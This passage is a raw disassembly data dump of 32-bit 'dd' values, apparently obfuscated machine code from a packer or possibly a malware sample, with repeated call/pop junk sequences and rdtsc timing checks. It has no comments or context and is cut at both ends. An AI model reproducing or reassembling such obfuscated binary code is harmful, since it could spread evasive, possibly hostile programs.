		dd 259E3D24h, 259E3557h, 21BA7171h, 257920F4h, 7DE7FB3h
		dd 0A0DC69BDh, 0DEC46E69h, 899B10CEh, 73BA1BAAh, 21BA723Eh
		dd 0E2E0516Bh, 5EEF8EFh, 5FEF0DEh, 21BA6B69h, 0E2E833B6h
		dd 15BCA581h, 0C8B1E901h, 21BA71D3h, 0F3D92F34h, 703FF8B7h
		dd 0E6BDD9FCh, 89B12CE8h, 21BA7EB1h, 74BA1B5Bh,	21BA7245h
		dd 0E2E751D6h, 5D6F836h, 5FEF0B1h, 21BA66DEh, 0E2EF346Dh
		dd 76798F7Bh, 7EBE4A4h,	96B57605h, 0C43FF82Ch, 2EBDD959h
		dd 21BA7732h, 0FC0FFADAh, 2EBDD941h, 0A431B801h, 26124012h
		dd 0EF59EC20h, 6233767Dh, 8007FC6Ah, 0ACBDD9A6h, 8A74CC6Fh
		dd 2189C86Ah, 854971B6h, 210242B0h, 2ABA71ADh, 0E3B90516h
		dd 65317173h, 0C9E97D91h, 21BA71DAh, 3679F036h,	0A8BA71B6h
		dd 0A8AA5507h, 7AAE55E9h, 9040466Eh, 0AA5A8E6Bh, 0DEBE55F1h
		dd 73BA1B3Ah, 21BA7285h, 0E2E051B6h, 5EEF801h, 5FEF0A9h
		dd 21BA6CD2h, 0E2E8336Bh, 0B5536969h, 6566546Eh, 0A4932795h
		dd 261261BBh, 3280CF3Dh, 1007F8CCh, 41BDD9F2h, 21BA7D83h
		dd 65C99FB5h, 23C8657Bh, 0F4CD9601h, 21B49867h,	3AD8715Bh
		dd 0BC4CBB07h, 0AB3566F2h, 16CC13E9h, 9C3710EDh, 2611CAF5h
		dd 0EED3FCE0h, 1402761Dh, 122257F0h, 89A19428h,	0E0755AD1h
		dd 0C21D011h, 0AD21B999h, 157E9A71h, 4F5D332Eh,	91653B75h
		dd 0DA21A175h, 0E983FD71h, 8BA4F305h, 50006AD9h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 8280D739h, 8E8h, 7C9FCF00h, 39789F6Bh, 0F98D8B28h, 5907A81Dh
		dd 21E9h, 6A61FC00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0F92DC351h, 0C08BF9C3h, 0FE9h
		dd 0D13D2800h, 9728549Eh, 0A9C94280h, 51C64572h, 27F9BD83h
		dd 750007A8h, 5BD8309h,	7A806h,	53501974h, 0B9B8C08Bh
		dd 89000004h, 0A80ECD85h, 8A9D8D07h, 0FF07AAB0h, 83585BD3h
		dd 0A80605BDh, 17740007h, 0B9B85350h, 89000004h, 0A80ECD85h
		dd 2B9D8D07h, 0FF07AAADh, 0F9585BD3h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 27C35646h, 708F7DB7h, 0F2BF0F60h
		dd 6159F957h, 10E9h, 8F1F300h, 58283F1Eh, 426E927Ch, 78817F7h
		dd 0FC08BF8h, 184h, 8B40FC00h, 56006AC1h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 89B70C3Fh
		dd 0A82AE98Dh, 4EB07h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7BE9C353h
		dd 0BD89E4CCh, 7A80B61h, 425858Dh, 6A07A8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 81CA8BC3h
		dd 0AA951BD7h, 5250507Fh, 0F616060h, 86h, 310F6100h, 0AE9h
		dd 31D7E000h, 0CBF29632h, 5ADAB75Eh, 24048958h,	6AF3BF0Fh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 8D858990h, 6607A80Bh, 3D4BF681h,	0B58B006Ah
		dd 7A800A1h, 12E9h, 8A83EA00h, 0C757B43Eh, 8AB97BE4h, 4634100Ch
		dd 8DFC95B3h, 0ABD2C485h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 2ADFDE85h
		dd 0CE8h, 6F650600h, 0BD72B164h, 137EFBF5h, 0C0835E33h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 74E8B1DAh, 11E9h, 55E2900h, 7E3C7D92h, 0E41B04EEh
		dd 3A7D584Fh, 66905517h, 5034EBBEh, 0BE8h, 0A33CB000h
		dd 4A4B0581h, 8A6E6AFFh, 0BE9h,	2FA93C00h, 8F113983h, 4047D164h
		dd 0BD8B905Fh, 7A8087Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0BC2B92C3h, 8B50B8DFh
		dd 6A6D589Fh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0DFDE857Bh, 8BBBD72Ah, 0A826E1B5h
		dd 0DDB58B07h, 0FF07A832h, 0A81B3995h, 6E23BE07h, 9D8D6DFFh
		dd 7AB9A3Bh, 155DBD23h,	0D3FF07A8h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 9EC35343h, 0FFF38B66h, 0A80EE585h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 48BEC931h, 6B7E95Ch, 0E80000h, 5D000000h
		dd 0D2CEED81h, 54BF07ABh, 8115857Eh, 0A80B5DBDh, 7D007h
		dd 44860F00h, 0E9000001h, 0Eh, 30ED25A7h, 883E769Bh, 0E1B4A0F4h
		dd 9D8B5E0Dh, 7A82F31h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0B7C35545h, 573F2EE1h, 2649BD8Bh, 815E07A8h
		dd 100E3h
		dd 0FDB0B00h, 9F85h, 9701BF00h,	0BD83783Fh, 7ABD0B2h, 38840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 3D50C355h, 319BC149h, 324728Eh
		dd 0A82FC9B5h, 7DF68107h, 0E92683DAh, 8Ch, 0C7FBBF0Fh
		dd 0ABD0B285h, 107h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 41BA7177h, 81EFBD5h, 57E9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 666565B4h, 6514EF81h, 0D0B285C7h, 7ABh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E9BA04C3h, 8, 74EC17BBh,	3D3D9C25h, 2F319D8Dh
		dd 958907A8h, 7A829F9h,	0FEFF2381h, 890FFFFFh, 6, 2895B58Bh
		dd 9DBE07A8h, 66190E92h, 8D89DB8Ch, 7A827DDh, 0F6F3BF0Fh
		dd 840F04C3h, 7Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 35C35545h, 0B531A5FAh, 7A80F29h, 265195FFh
		dd 6A07A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 322CA7C3h, 0CC7AEBC3h, 0B52B58D5h, 7A83229h
		dd 11E850h, 0D790000h, 7E68E4E6h, 34695A62h, 0F84D68E9h
		dd 8B66C229h, 4895EF2h,	68C0F24h, 89000000h, 0A82DE5BDh
		dd 385E907h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 88F2D5C3h, 0BD4DF798h, 11E9h, 83E28800h
		dd 9463C8C2h, 8FD6A176h, 418DAB53h, 0B0D9A6h, 0FE9h, 88670E00h
		dd 40D4EC77h, 40B5D8FEh, 0D3BBBFC9h, 0BD8970E6h, 7A82539h
		dd 890F71E4h, 1, 57C681F9h, 0F2D3FA2h, 0BF0FD8B6h, 0D8589FAh
		dd 0BA07A818h, 6, 6AC38Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0A9BD3EC3h, 8B5166AEh
		dd 4E8C1F0h, 1D0D8589h,	0F76607A8h, 658D89E2h, 2B07A815h
		dd 1800FD8h, 0F9000000h, 0AE850h, 42750000h, 0CB21276Ch
		dd 849D9627h, 52505250h, 585A310Fh, 0FB8B310Fh,	895E585Ah
		dd 6A241Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 66E9BBC3h, 0BF079BBFh, 15DE780Ch,	0FFFBBF0Fh
		dd 0A80B5DB5h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0CF816631h, 852926B8h
		dd 7A80E91h, 0D2195FFh,	0B52907A8h, 7A81881h, 6A00B0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 11551EC3h, 11E8AC13h, 80000000h, 0DA833A01h,	2393401Fh
		dd 0E1D15618h, 0C844AC80h, 0F70E65Fh, 681h, 21BD8900h
		dd 6007A833h, 4229E681h, 8D315DD0h, 7A81C99h, 0E971E461h
		dd 8, 0CAF7510h, 0B1C93A87h, 830F613Ch,	1DFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 77C35747h, 0D8B60F59h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 77C35343h
		dd 8BC15997h, 0F38B669Eh, 820Fh, 6BA0000h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 8C1EC355h, 1F41A496h, 73B59DA1h, 0BE66C38Bh,	0E8C19AE9h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0EA7025E0h, 0B58BAFA8h, 7A82215h, 66E2F766h
		dd 8BE140BEh, 8BD82BFAh, 0A82AE1BDh, 0F7815807h, 4644965Ch
		dd 9E8h, 705A7300h, 195DC509h, 5EFC2056h, 880FD82Bh, 10Bh
		dd 7B9h, 830F00h, 0F000000h, 0C183F8BFh, 798D8900h, 3B07A82Ah
		dd 0EC860FD9h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 4882C353h, 6850F90h
		dd 89000000h, 0A80B359Dh, 619D8907h, 8B07A80Bh,	0D98C66FEh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0F0C35545h
		dd 34E69D18h, 8D9D894Ch, 307A830h, 0A81BA5B5h, 4C1F607h
		dd 77840Fh, 0BD8B0000h,	7A805A9h, 265195FFh, 0B58B07A8h
		dd 7A80ED1h, 29C5B58Bh,	665B07A8h, 2B61C6BEh, 0EE8166C3h
		dd 343DF59Eh, 0F000008h, 4886h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 687C2E4Ch
		dd 0B045EC6h, 13E9B242h, 1D000000h, 44830CEBh, 2658D2B1h
		dd 8DD4974Ch, 74D38B44h, 10E951F2h, 89000000h, 0A822358Dh
		dd 8BC08B07h, 0DD9D89FBh, 8B07A80Bh, 89D88BC3h,	0A8247195h
		dd 585C707h, 7907A82Bh,	6A14BE37h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 6341C351h
		dd 0A6044B5Fh, 6AC08B26h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 9648C352h, 495B5068h
		dd 0BD81F867h, 7A80B5Dh, 7D0h, 43850Fh,	6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0F65E28C3h, 0FF1DC5C9h, 0A80B5D85h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 5DB5FFF8h, 6A07A80Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 9162C352h, 0FAA03ACCh
		dd 5BC1CF81h, 95FF1DC6h, 7A80D21h, 14E9h, 0BBBD3000h, 0C3869FD9h
		dd 6AE5C09Fh, 0E081047Ch, 24A622E3h, 78B890E6h,	6A123456h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0DEFC356h, 0C0F29D0Ch, 8B66E1BEh,	459D8DF7h
		dd 0E907ABD9h, 0FFFFF94Eh, 0E3F78166h, 66C18B14h, 6A0CEE81h
		dd 4EBh, 0C6810000h, 27D51B1Ch,	15CE8166h, 25858D08h, 6A07A804h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 9994C351h, 0D499129h, 6090F5B6h, 67BE6653h
		dd 30BB5EEEh, 61041990h, 8A0F50h, 90000000h, 89BD8952h
		dd 5E07A835h, 0AE9h, 283D6900h,	0E60869E6h, 6A7C0449h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 240F08D8h, 0A8A3D579h, 6830Fh, 0BD8B0000h
		dd 7A80505h, 6AFAB70Fh,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 5E189BE2h, 41BD89A6h
		dd 8D07A80Ah, 0ABDB7285h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 9B990663h
		dd 98EB69h, 0CF8166AAh,	0C0838A59h, 50505005h, 0EE852h
		dd 6DD0000h, 2F46E8E3h,	8FB77926h, 0D715E72Ah, 50310F5Fh
		dd 5A310F52h, 5F585A58h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 8142C350h
		dd 0BE6660B6h, 8D897675h, 7A8006Dh, 6A006A61h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 3CB8C357h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 68768DC3h, 95FFCC30h, 7A81B39h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CBC35242h
		dd 2E159589h, 9D8D07A8h, 7AB9A3Bh, 365B58Bh, 0D3FF07A8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 94C35141h
		dd 0E585FFFAh, 0F07A80Eh, 687h,	99BD8900h, 0E907A821h
		dd 0D9Bh, 0E8h,	0ED815D00h, 7ABDB7Ch, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 8DC35747h, 730A8F97h, 0F193DA0h
		dd 1185h, 0CE900h, 0C6510000h, 0D5ED48A5h, 0A1573E7Fh
		dd 0BD81B1E5h, 7A80B5Dh, 7D0h, 131860Fh, 0B5890000h, 7A803A1h
		dd 28699D8Bh, 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 4312F8C3h, 0B688205Ah, 12E8h, 0CE4B3900h
		dd 6E72887Ch, 25D36A62h, 55D63781h, 8BC98899h, 0A82539BDh
		dd 0E3815F07h, 100h, 1CA19589h,	0BF6607A8h, 0DB0B2456h
		dd 8C850Fh, 89570000h, 0A828E9BDh, 0B58B5E07h, 7A81071h
		dd 0D989BD83h, 0F0007ABh, 3084h, 699D0100h, 0E907A81Eh
		dd 76h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
		dd 8DC35040h, 89448E6Bh, 0A834E995h, 8985C707h,	107ABD9h
		dd 0F9000000h, 41E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0BF7039F0h, 6EC5F3Dh
		dd 49958B60h, 8B07A80Ah, 0A81A458Dh, 85C76107h,	7ABD989h
		dd 0
		dd 830Fh, 9D8D0000h, 7A82869h, 25098589h, 238107A8h, 0FFFFFEFFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 2BC35747h
		dd 66EB86F7h, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 12F53AC3h, 8B7A811Eh, 0A82335BDh
		dd 4C3F607h, 4D840Fh, 9D890000h, 7A81D15h, 265195FFh, 90F807A8h
		dd 8E950h, 65590000h, 456C588h,	505FA443h, 0BF19C4BEh
		dd 6A9066h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0A1B392C3h, 0FF08B69h, 288h, 0E9FE8B00h
		dd 364h, 14959531h, 8D0907A8h, 7A81A5Dh, 6A00B0h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8B0A6FC3h, 6A70E6FAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 347AC350h, 0BD034D60h
		dd 7A80045h, 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 532F79C3h, 2D9EE84Bh, 6AD8B60Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 3ABC350h,	3890B7E4h, 50F6C7C9h, 372BC781h
		dd 6BA5708h, 60000000h,	29358589h, 8D8B07A8h, 7A82141h
		dd 66C38B61h, 0E8C1FE8Bh, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8B66CED7h
		dd 0E2F766F8h, 5E8h, 0E54A2900h, 0C781506Ch, 23F077C9h
		dd 6870F5Eh, 8B000000h,	0A8145DB5h, 8BD82B07h, 61B531F1h
		dd 9307A82Fh, 0EE9h, 0CD3A9300h, 189EED73h, 0F259960Bh
		dd 50434644h, 0AA69F5BFh, 6A9372h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 116A78C3h, 40B2F5DAh
		dd 8165E781h, 0B5FF6E8Fh, 7A80B5Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0ABC35343h,	0C9E88CB8h, 55832B97h
		dd 3589B503h, 95FF07A8h, 7A80D21h, 6830Fh, 0BD8B0000h
		dd 7A83315h, 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0D7CE34C3h, 279A807Fh, 8D0F1A8Fh
		dd 3, 0E6F0BF0Fh, 57006A70h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0D7550CC5h, 65BD8B4Ch
		dd 6607A818h, 0E44A3FBEh, 55006A71h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 12E8043Ch
		dd 44000000h, 0D11FB13Bh, 6BFD3188h, 0EF89B81Eh, 0C29228A9h
		dd 0C5958981h, 5E07A830h, 3CF3BF0Fh, 31830F61h,	8B000001h
		dd 0A83539BDh, 0D8B60F07h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 10C35040h, 0F3795A92h, 0B88AAD2Fh, 6BAF78Bh
		dd 0E9000000h, 0Ch, 0D9246FA5h,	0C12D8E32h, 4AA1A217h
		dd 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0E8C149C3h, 9958904h, 6607A806h, 0B50BE2F7h
		dd 7A8100Dh, 0B58BD82Bh, 7A80C4Dh, 0B58D0158h, 2B07A808h
		dd 0A5880FD8h, 9000000h, 0A830D19Dh, 7B907h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0EB58CDC3h, 1E36B3F9h, 0E9359C9Dh, 0Ah, 3885C501h, 10498AE4h
		dd 0C183C8ABh, 6810F00h, 8B000000h, 0A8247DBDh,	0FD93B07h
		dd 4F86h, 65B58B00h, 6607A832h,	45BED98Ch, 0F67E43E4h
		dd 840F04C1h, 30h, 265195FFh, 335B07A8h, 0A8186DB5h, 89C32B07h
		dd 0A8251D9Dh, 8343D07h, 860F0000h, 10h, 6019501h, 0DE907A8h
		dd 66000000h, 4503EE81h, 0BD0BC08Bh, 7A81B69h, 0D88BC38Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 75C35242h
		dd 0E1FB36F6h, 6028350Ah, 23BF6660h, 0C08166FFh, 8B614036h
		dd 8E0F61CFh, 0
aE1ISVj		db 'Ç…1/¨',7,'sÝ!vj',0
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 5BBD10C3h, 7DB58B24h, 8B07A80Bh, 55006AC0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BE66B32Fh
		dd 0BD81A4F1h, 7A80B5Dh, 7D0h, 48850Fh,	6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0E781B6C3h, 2EAAD577h, 0B5D85FFh, 6A07A8h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 8C7BA9C3h
		dd 0B5FF467Dh, 7A80B5Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 10C35040h, 95099956h,	7A82411h, 0D2195FFh
		dd 0BD3107A8h, 7A80621h, 3315B589h, 409007A8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 39C35343h, 591A7324h
		dd 1FCD6AEh, 0A80F1995h, 99BD8307h, 7A834h, 115840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0B58962C3h, 7A82C81h, 5A1BD83h, 0F0007A8h, 0E684h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 184A0A94h, 0BE662317h, 95FF06E9h, 7A83499h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 94C35242h, 0FC61D750h
		dd 5DBD8BB4h, 0B07A80Eh, 8C840FC0h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 4C3C350h, 0A6C17A5Eh, 0E0DB6259h, 0C332BE66h, 4E4D8D8Dh
		dd 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0E03379C3h, 6E9h,	0C8455400h, 0B8F56F5Ch
		dd 5, 0FFF18B66h, 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0EC8021DAh, 677A2C2Fh
		dd 8166EEB4h, 83AB42CEh, 0A8326DBDh, 840F0007h,	59Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5AC35646h, 7931ACBBh
		dd 8E0FDC18h, 5, 10F406BFh, 0A1BD830Fh,	7A805h,	561840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 3A8B8DC3h, 0FEE7FD95h, 0E92DC435h, 11h, 1B97B99Eh
		dd 36742749h, 5A825259h, 1F29EF09h, 718D8DD9h, 6607A823h
		dd 0C7CA71BEh, 0B27C8401h, 1810F44h, 0F5000000h, 0CFCB0181h
		dd 8D291499h, 7A8103Dh,	340441C7h, 0E9CE706Bh, 13h, 52B6CE25h
		dd 0BCDA8EE9h, 9606167Ch, 91287E6Eh, 814961BAh,	0D7100441h
		dd 816631D6h, 6A9E4DCFh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 679504D0h, 49DD0A99h
		dd 0F5BD0BA1h, 8D07A82Ch, 0A8237185h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 0D8BB36B6h, 89F179C8h, 0A8135985h, 0F539007h, 282h
		dd 5F616000h, 0B70F9050h, 6D95FFF1h, 6A07A832h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 33D1C355h, 0A82235B5h, 718D8D07h, 0F07A823h,	1C7F0B7h
		dd 0
		dd 0FC59D31h, 41C707A8h, 4, 0C7816600h,	0C00BE9D1h, 71840Fh
		dd 8DF50000h, 0A84E4D8Dh, 0F8BF0F07h, 5B8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 3A1E1D43h, 0E139B3AAh, 0FFF9F98Bh, 51006AE1h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 978AD21Bh, 0E8A1C2F2h, 0Dh, 9A99D798h, 0BD78E356h, 6B5BBAB3h
		dd 0C459BECCh, 8D5E4608h, 0A823718Dh, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 81DEAF17h, 22E832D7h, 7C01C708h, 8944AA72h, 0A8044195h
		dd 0CB018107h, 8B1499CFh, 0A818C5BDh, 5C68107h,	0C734A2DAh
		dd 753C0441h, 8529CE78h, 7A81551h, 10044181h, 8931D6D7h
		dd 0A82675B5h, 66006A07h, 4B03F781h, 2371858Dh,	6A07A8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0BCFB43C3h, 0E88280Fh, 858D0915h, 0F907A822h, 0E8535290h
		dd 14h,	0ED02CD63h, 432C4657h, 44D0624Ch, 5074392Ch, 0DFE7C477h
		dd 505F5E5Eh, 90FA8B66h, 0A7C68166h, 6D95FFF6h,	6A07A832h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 209DC357h, 6E2100F5h, 9CF68197h, 8D0917C5h
		dd 0A823718Dh, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 25FE5795h, 0BEA5C74Eh
		dd 65474619h, 1C7h, 0C7FC0000h,	441h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0BCB146C3h, 0BD89911Dh, 7A81DF9h, 840FC00Bh,	28h, 385BD8Bh
		dd 8D8D07A8h, 7A84E4Dh,	0FD9BBF66h, 5B8h, 258D3100h, 0FF07A82Ah
		dd 7355BFE1h, 8D0914D4h, 7A80EE9h, 23718D8Dh, 6A07A8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 6E0D71C3h, 1C7716Bh,	54CA95A5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0AAC35646h,	0F05199ECh, 810CD5A8h
		dd 99CFCB01h, 8CBF5314h, 5E16F736h, 690441C7h, 6ACE5F59h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F55C350h, 1985h,	0DE800h, 0E0C0000h, 297BF4B1h
		dd 75A47A93h, 9BB7D0Bh,	0A834DDBDh, 41815F07h, 0D6D71004h
		dd 0FEB70F31h, 858D006Ah, 7A82371h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 17h, 6DC35040h, 66A30569h, 260EC681h
		dd 13E950h, 0B310000h, 8F9C8FD9h, 7A0DC539h, 3C8B8F9Eh
		dd 0A456A54Ch, 24048901h, 0EB19BBBFh, 12E911h, 0C31A0000h
		dd 10909F53h, 0A6C7708h, 49CBC3D2h, 0AE67C4F7h,	326D95FFh
		dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0B58B5EC3h, 7A82DF1h, 23718D8Dh, 0BF6607A8h
		dd 1C7EAC2h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 5EC35343h
		dd 8D89513Ch, 7A82CE1h,	441C7h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 2B30C356h
		dd 8540211Ah, 0BD890275h, 7A82291h, 50DB503h, 0C00B07A8h
		dd 85840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 190424h, 50400000h, 85C9B6C3h, 895C2534h, 0A8173585h
		dd 4D8D8D07h, 6A07A84Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 1F4C350h, 0AF402B26h
		dd 18FAF6E1h, 5B8h, 0F38B6600h,	5D2DBF66h, 6AE1FFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0BC0EB1C3h, 2E56EF50h, 3F9CA26h, 0F272E9CAh,	0BD8BFFFFh
		dd 7A8312Dh, 0D59529FCh, 8B07A80Eh, 51006AC1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0E478C43Ah
		dd 4EBCAh, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 881BC352h, 66FAD22Bh, 0D0EFCE81h
		dd 5EFA8B53h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	0ECC35646h, 66A96A20h, 858DF28Bh, 7A80425h, 10E9h
		dd 4622C300h, 0D08C8001h, 1419FBCEh, 0AC8264EAh, 5E5190CEh
		dd 17800F50h, 56000000h, 0FE8h,	0DE6B3D00h, 910F765h, 8C0E41A5h
		dd 3F3E9766h, 6A905E5Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 742AC355h, 95EE81CBh
